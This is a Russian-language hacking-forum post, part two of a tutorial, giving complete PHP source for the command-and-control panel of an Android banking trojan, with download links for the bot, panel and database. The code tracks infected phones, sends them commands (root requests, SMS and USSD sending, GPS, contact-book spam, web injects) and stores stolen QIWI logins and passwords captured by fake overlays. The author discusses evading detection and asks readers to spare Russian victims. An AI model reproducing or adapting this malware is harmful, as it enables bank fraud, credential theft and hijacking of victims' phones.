danhhhik
Заблокированные
- Статус
- offline
- Регистрация
- 07.06.2016
- Сообщения
- 190
- Репутация
- 193
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Ссылка на первую часть КЛИК
Приступим, время PHP. "Админка написана на PHP 7, подключение к БД через PDO"
.htaccess
index.php
header.php
/private/kliets.php
/private/tuk_tuk.php
/private/set_data.php
/private/crypt.php
/private/config.php
/private/commands.php
/private/command_go_modul.php
/private/add_log.php
/private/add_inj.php
Форму авторизации я не делал, думаю кому надо, тот найдет решение проблемы!
Скрин админки
Админку я обрезал со своего бота, скрин админки моего бота:
http://hostingkartinok.com/show-image.php?...edf8f938e06b3ea
Исходники:
Бот: https://yadi.sk/d/Go9X_wzE33z76Z пасс: qweasd
Админка: https://yadi.sk/d/ZsgNskV-33z7h6 пасс: qweasd
База mysql: https://yadi.sk/d/EuyB5s0J33zApJ пасс: qweasd
Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!
Приступим, время PHP. "Админка написана на PHP 7, подключение к БД через PDO"
.htaccess
Код:
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
Код:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<head >
<title>by maza-in</title>
<link href="styles/index.css" rel="stylesheet"/>
<link href="styles/btn.css" rel="stylesheet"/>
<link href="styles/modul_form.css" rel="stylesheet"/>
<link rel="stylesheet" href="styles/style.css"/>
<link href="styles/modul_form_log.css" rel="stylesheet"/>
<link href="styles/modul_form_set.css" rel="stylesheet"/>
<script type="text/javascript" src="js/jquery.js"></script>
<link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>
<script src="js/jquery-2.1.4.min.js"></script>
<script src="js/jquery.spincrement.js"></script>
<script src="js/custom.js"></script>
<script src="js/footable.js"></script>
<script src="js/footable.min.js"></script>
</head>
<body bgcolor="1D1F24">
<?php include_once "header.php"?>
<?php
$id = $_GET['cont'];
if($id=="kliets")
{include_once "private/kliets.php";
}else
{header("Location:?cont=kliets&page=1");}
if($id == null)
{header("Location:?cont=kliets&page=1");}
?>
</body>
</html>
header.php
Код:
<div class="header">
<p><img src="images/header.jpg" width="100%" height="100px"/></p>
</div>
Код:
<div class="content">
<table class="footable" align="center" border="1" cellspacing="0" cellpadding="0" width=100%>
<thead class="header_table_bots" >
<th></th>
<th>IMEI/ID</th>
<th>Номер</th>
<th>Версия<br>ОС</th>
<th>Версия<br>apk</th>
<th>Страна</th>
<th>Банк</th>
<th>Модель</th>
<th>ROOT</th>
<th>Экран</th>
<th>on/off</th>
<th>Дата<br>заражения</th>
<th>Логи</th>
</thead>
<?php
include 'crypt.php';
include 'config.php';
$count_id_page=0;
$page = $_GET["page"];
$page1 = $_GET["page"];
$count_id = 30;
if($page =="" || $page == "1")
{
$page=0;
}
else
{
$page = ($page*$count_id)-$count_id;
}
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM kliets limit $page,$count_id";
$booleanIMEI = false;
//*****Обработка запросa Для удаления!
if(isset($_POST["delete"]))
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $id)
{
$id_del = explode(":", $id);
$sql2 = "DELETE FROM kliets WHERE id='".$id_del[0]."'";
$connection->query($sql2);
}
}
header ("Location: index.php?cont=kliets&page=$page1");
}
if(isset($_POST["add_commands"]))//вызываем модальную форму!
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $imei)
{
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#parent_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
}
}
if(isset($_POST["click_log"]))//Открываем форму логи!
{
$log_IMEI = $_POST["click_log"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#log_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if(isset($_POST["click_set"]))//Открываем форму настроек!
{
$set_IMEI = $_POST["click_set"];
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#set_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
//******батоны и переменые с базы!********
echo "<form name='callback' method='post'>";
echo "<input type='submit' value='Добавить команду' name='add_commands' class='submit'/>";
echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
echo "<input type='submit' value='Обновить' name='rrr' class='submit'/>";
$count_bots = 0;
foreach($connection->query($sql) as $row)
{
$ID = $row['id'];
$IMEI = $row['IMEI'];
$number = $row['number'];
$version = $row['version'];
$version_apk = $row['version_apk'];
$country = $row['country'];
$bank = $row['bank'];
$model = $row['model'];
$lastConnect = $row['lastConnect'];
$firstConnect = $row['firstConnect'];
$l_inj=$row['inj'];
$l_bank=$row['l_bank'];
$l_log=$row['log'];
$root=$row['r00t'];
$screen=$row['screen'];
$color=$row['color'];
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
$img="/images/icons/kill.png";
}
else
{
if($seconds<=120)
{$img="/images/icons/online.png";}
else
{$img="/images/icons/offline.png";}
}
//************Иконки ЛОГОВ***************************************
if($l_inj == "1")
{$icon_inj="/images/icons/inj_on.png";}
else
{$icon_inj="/images/icons/inj_off.png";}
if($l_bank == "1")
{$icon_bank="/images/icons/bank_on.png";}
else
{$icon_bank="/images/icons/bank_off.png";}
if($l_log == "1")
{$icon_log="/images/icons/log_on.png";}
else
{$icon_log="/images/icons/log_off.png";}
/**/
if($root == "1")
{$icon_root="/images/icons/V.png";}
else
{$icon_root="/images/icons/X.png";}
if($seconds<=120)
{
if($screen == "1")
{$icon_screen="/images/icons/V.png";}
else
{$icon_screen="/images/icons/X.png";}
}
else
{
$icon_screen="/images/icons/X.png";
}
//----страны
if($country == "") $country = "not";
$country = mb_strtolower($country);
//************Данные в таблице********************************************
echo "<tr class='table_bots' style='color: #A4A4A4;'>";
echo "
<td><input type=checkbox name=checks[] value=$ID:$IMEI></input></td>
<td>$IMEI</td>
<td>$number</td>
<td>$version</td>
<td>$version_apk</td>
<td><a title='$country'><img src='/images/country/$country.png' width='16px'/></a></td>
<td>$bank</td>
<td>$model</td>
<td>
<a title='root права'><img src=$icon_root width='16px'/></a>
</td>
<td>
<a title='Состояние экрана'><img src=$icon_screen width='16px'/></a>
</td>
<td><a title='$lastConnect'><img src=$img width='16px'/></a></td>
<td>$firstConnect</td>
<td>
<a title='Инжект'><img src=$icon_inj width='16px'/></a>
<a title='Visa'><img src=$icon_bank width='16px'/></a>
<button class='btn_log' name='click_log' value='$IMEI' title='Логи' ><img src='$icon_log' title='Логи' alt='img' width='16px' class='img_log'/></button>
</td>
</tr>";
}
echo "</form>";
// id IMEI number version country bank model lastConnect firstConnect
?>
</table>
<?php
//НОМЕРА СТРАНИЦ
$connection->exec('SET NAMES utf8');
$sql2 = "SELECT * FROM kliets";
foreach($connection->query($sql2) as $row)
{
$count_id_page++;
}
$a = ceil($count_id_page/$count_id);
echo "<center>";
for($b=1;$b<=$a;$b++)
{
echo "<a style='color: #fff; font-family: Consolas;' href='index.php?cont=kliets&page=$b' style='text-decoration:none;'>$b</a>";
}
echo "</center>";
?>
<?php//-------------конец таблице--------------------начало----------------------Модальное окно для Добавления команд-----?>
<div id = "parent_modal">
<div id = "modal">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>" style="cursor: pointer; color: Red;" onclick="document.getElementById('parent_modal').style.display = 'none'";>X</a>
<div class="styled-select">
<form name="modal_command" method="POST" action="/private/command_go_modul.php">
Выбраные боты<select name="comboBox_imeis" style="color: #fff">
<?php //--------вставляем IMEIs в текстовое поле--------
if(isset($_POST["add_commands"]))
{
if (preg_match("/checks/",print_r($_POST,true)))
{
$t_i="";
foreach($_POST["checks"] as $imei)
{
$imei_add = explode(":", $imei);
echo "<option value='$imei_add[0]'>$imei_add[1]";
$t_i = "$t_i:$imei_add[1]";
}
echo "<input type='text' value='$t_i' name='text_imei' style='visibility:hidden'/>";
}
}
?>
</select>
Выберите команду
<select name="comboBox_commands" onchange="showOption(this)" style="color: #fff">
<option value='null'>
<option value='r_root'>Запросить root права
<option value='sentSMS'>Отправть СМС
<option value='startPermis'>Запрос разрешения чтения/отправки СМС(Android 6.0 и более)
</select>
<div id="div_sent_sms" name="div_sent_sms" style="visibility:hidden">
Введите номер<input type="text" name="text_number" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
Введите текст СМС<input type="text" name="text_msg" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
</div>
</div>
<script type="text/javascript">
function showOption(el)
{
if(el.options[el.selectedIndex].value == "sentSMS")//отправка смс
{
document.getElementById("div_sent_sms").style.visibility = "visible";
}else
{
document.getElementById("div_sent_sms").style.visibility = "hidden";
}
}
</script>
<input style="margin-top:0px;" type="submit" id="bth_add_command" value="Активировать команду" name="bth_add_command" class="submit"/>
<?php echo "<input type='text' value='$page1' name='ref' style='visibility:hidden'/>"; //передаем номер страницы
?>
</form>
</div>
</div>
</div>
<?php//--форма ЛОГ модульное окно!------rows="31" cols="158"--------?>
<div id = "log_modal">
<div id = "modal_l">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>" style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
<div class="styled-select">
<textarea readonly name="mesage" wrap="virtual" class="textlog">
<?php
$sql3 = "UPDATE kliets SET inj = '0', l_bank = '0', log = '0' WHERE IMEI = '$log_IMEI';";
$connection->query($sql3);
if (@fopen("private/logs/$log_IMEI.log", "r")){ // проверяем на существование файла
//читаем
$filename = "private/logs/$log_IMEI.log";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "$contents";
}
?></textarea>
</div>
</div>
</div>
</div>
/private/tuk_tuk.php
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = mb_substr($request, 0, mb_strlen($request));
$request = decrypt($request,cryptKey);
$massivReq = explode(":", $request);
$IMEI = $massivReq[0];
$root = $massivReq[1];
$screen = $massivReq[2];
$screen = mb_substr($screen,0,mb_strlen($screen)-1);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
$connection->exec('SET NAMES utf8');
$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
$booleanIMEI=true;
break;
}
}
if($booleanIMEI == true)
{
$sql2 = "SELECT * FROM commands";
$data_comm = "";
foreach($connection->query($sql2) as $row)
{
if($row['IMEI']==$IMEI)
{
$com0 = "id=";
$com1 = $row['id'];
$com2 = $row['command'];
$data_comm = "$data_comm$com0$com1$com2";
}
}
//Удаляем нафиг команды!
$sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
$connection->query($sql3);
//Записываем время конекта в бд и другую инфу
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_', r00t = '$root', screen= '$screen' WHERE IMEI='".$IMEI."';";
$connection->query($sql3);
//отправляем статус настроек
if(($data_comm == "")||($data_comm == " "))
{
$sql = "SELECT * FROM settings";
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
if($row['state']=="1")
{
$data_comm="state1letsgotxt";
$sql3 = "UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."';";
$connection->query($sql3);
}
}
}
}
$booleanIMEI == false;
//достаем команды и отправляем!
$tag = "<tag>";
$otv = encrypt("$data_comm",cryptKey);;
$tagend = "</tag>";
echo "$tag$otv$tagend";
}
else
{//Если команды нет!
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);
$tagend = "</tag>";
echo "$tag$otv$tagend";
}
//проверяем существует ли такой IMEI
//если существует, достаем команды которые есть и отдаем
//если не существует отдаем |NO|
//SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
?>
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = decrypt($request,cryptKey);
$massivReq = explode(":", $request);
$IMEI = $massivReq[0];
$phoneNumber = $massivReq[1];
$Version = $massivReq[2];
$country =$massivReq[3];
$bank = $massivReq[4];
$model = $massivReq[5];
$Version_apk = $massivReq[6];
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
$booleanIMEI=true;
break;
}
}
if($booleanIMEI == false)
{
$data = date('Y-m-d H:i');
$add_data = $connection->exec("REPLACE INTO kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk)
value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk')");
//Создаем файл для ведение ЛОГов!
//$path_log = "logs/$IMEI.log";
//file_put_contents($path_log, PHP_EOL.'', FILE_APPEND);
// id IMEI number version country bank model lastConnect firstConnect
// echo "IMEI: $IMEI Номер: $phoneNumber Версия: $Version Страна: $country Банк: $bank Модель: $model";
$tag = "<tag>";
$otv = encrypt("|OK|",cryptKey);
$tagend = "</tag>";
echo "$tag$otv$tagend";
}
else
{
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);;
$tagend = "</tag>";
echo "$tag$otv$tagend";
//echo "<tag>|NO|</tag>";
}
?>
Код:
<?php
//*************************************
function encrypt($string, $key) //шифрование траффа логов
{
$str = urlencode($string);
$ret = "";
for($i=0; $i<mb_strlen($str); $i++)
{
$r1 = ord(mb_substr($str, $i, 1));
$ret = "$ret $r1";
}
for($i=0; $i<mb_strlen($key); $i++)
{
$ret = str_replace($i, mb_substr($key, $i, 1), $ret);
}
$ret = mb_substr($ret, 1, mb_strlen($ret)); //!
return $ret;
}
function decrypt($string, $key)
{
$ret = $string;
$ret = mb_substr($ret, 0, mb_strlen($ret)); //!
for($i=0; $i<mb_strlen($key); $i++)
{
$ret = str_replace(mb_substr($key, $i, 1), $i, $ret);
}
$massivRet = explode(" ", $ret);
$ret="";
foreach($massivRet as $massivR)
{
$r1 = chr($massivR);
$ret = "$ret$r1";
}
$str = urldecode($ret);
return $str;
}
?>
Код:
<?php
define('SERVER' , 'localhost');
define('DB', 'database');
define('USER', 'root');
define('PASSWORD' , '123');
define('cryptKey' , 'qwe');//ключ шифрования трафика!
Код:
<div class="content">
<table align="center" class="header_table_commands" border="1" cellspacing="0" cellpadding="0" width=100%'>
<thead class="header_table_commands">
<th></th>
<th>ID</th>
<th>IMEI</th>
<th>Команда</th>
</thead>
<?php
include 'config.php';
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM commands";
$booleanIMEI = false;
//*****Обработка запросa Для удаления!
if(isset($_POST["delete"]))
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $id)
{
$id_del = $id;
$sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
$connection->query($sql2);
}
}
header ('Location: /index.php?cont=commands');
}
//******батоны и переменые с базы!********
echo "<form method='post'>";
echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
echo "<p id='text_command'> Команды в очереди</p>";
foreach($connection->query($sql) as $row)
{
$ID = $row['id'];
$IMEI = $row['IMEI'];
$command = $row['command'];
//************Данные в таблице********************************************
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td><input type=checkbox name=checks[] value=$ID></input></td>
<td>$ID</td>
<td>$IMEI</td>
<td>$command</td>
</tr>";
}
echo "</form>";
// id IMEI command
?>
</table>
</div>
Код:
<?php
//передаем данные для выпонения команд!!!-----
if(isset($_POST["bth_add_command"]))
{
if (isset($_POST['comboBox_commands']))
{
include 'config.php';
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$que=$_POST['comboBox_commands'];
if($que == "r_root")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "Go_P00t_request::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
}
}
}
if($que == "sentSMS")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
$numb = $_POST['text_number'];
$msg = $_POST['text_msg'];
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "|command=Send SMS|number=$numb|text=$msg::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
//echo "<script>alert('$imei $command_')</script>";
}
}
}
if($que == "startUSSD")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
$ussd = $_POST['text_ussd'];
$ussd = str_replace("*",urlencode("*"),$ussd);
$ussd = str_replace("#",urlencode("#"),$ussd);
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "|UssDg0=$ussd|endUssD::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
//echo "<script>alert('$imei $command_')</script>";
}
}
}
if($que == "numberGO")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "nymBePsG0::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
}
}
}
}
if($que == "numberGOsendSMS")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
$ussd = $_POST['text_sms_tel_book'];
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "|telbookgotext=$ussd|endtextbook::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
//echo "<script>alert('$imei $command_')</script>";
}
}
}
if($que == "startPermis")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "Go_startPermis_request::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
}
}
}
if($que == "startGPSlocat")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "Go_GPSlocat_request::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
}
}
}
if($que == "startinj")
{
$imeis_ = $_POST['text_imei'];
$imeis_ = explode(':', $imeis_);
$ussd = $_POST['comboBox_inj'];
foreach($imeis_ as $imei)
{
if($imei !="" )
{
//ID=123|command=Send SMS|number=123123|text=eqweqwe
$command_ = "|startinj=$ussd|endstartinj::";
$add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
//echo "<script>alert('$imei $command_')</script>";
}
}
}
$page = $_POST['ref'];
header ("Location: /");
}
?>
Код:
<?php
include 'crypt.php';
include 'config.php';
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
$request = mb_substr($request, 0, mb_strlen($request));
$request = decrypt($request,cryptKey);
$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];
echo "$IMEI_log $text_log";
if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!
$path_log = "logs/$IMEI_log.log";
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);
$massiv_visa = array('visa', 'VISA','Visa','QIWI');
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
foreach($massiv_visa as $sl_visa)
{
if (strpos($text_log, $sl_visa) == true)
{
$sql3 = "UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
}
}
}
?>
Код:
<?php
include 'crypt.php';
include 'config.php';
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
$request = decrypt($request,cryptKey);
$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];
//КИВИ
if($text_log == "QIWI")
{
$user = $_POST['mob_num'];
$pass = $_POST['pass'];
$l_u = "";
$l_p = "";
if($user!="") $l_u = "Номер: $user";
if($pass!="") $l_p = "Пароль: $pass";
$text_log = "Инжект(QIWI)\n$l_u\n$l_p\n";
}
echo "HTTP: Error 12007 when connecting";
if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!
$path_log = "logs/$IMEI_log.log";
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
$sql3 = "UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
}
?>
Скрин админки

Админку я обрезал со своего бота, скрин админки моего бота:
http://hostingkartinok.com/show-image.php?...edf8f938e06b3ea
Исходники:
Бот: https://yadi.sk/d/Go9X_wzE33z76Z пасс: qweasd
Админка: https://yadi.sk/d/ZsgNskV-33z7h6 пасс: qweasd
База mysql: https://yadi.sk/d/EuyB5s0J33zApJ пасс: qweasd
Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!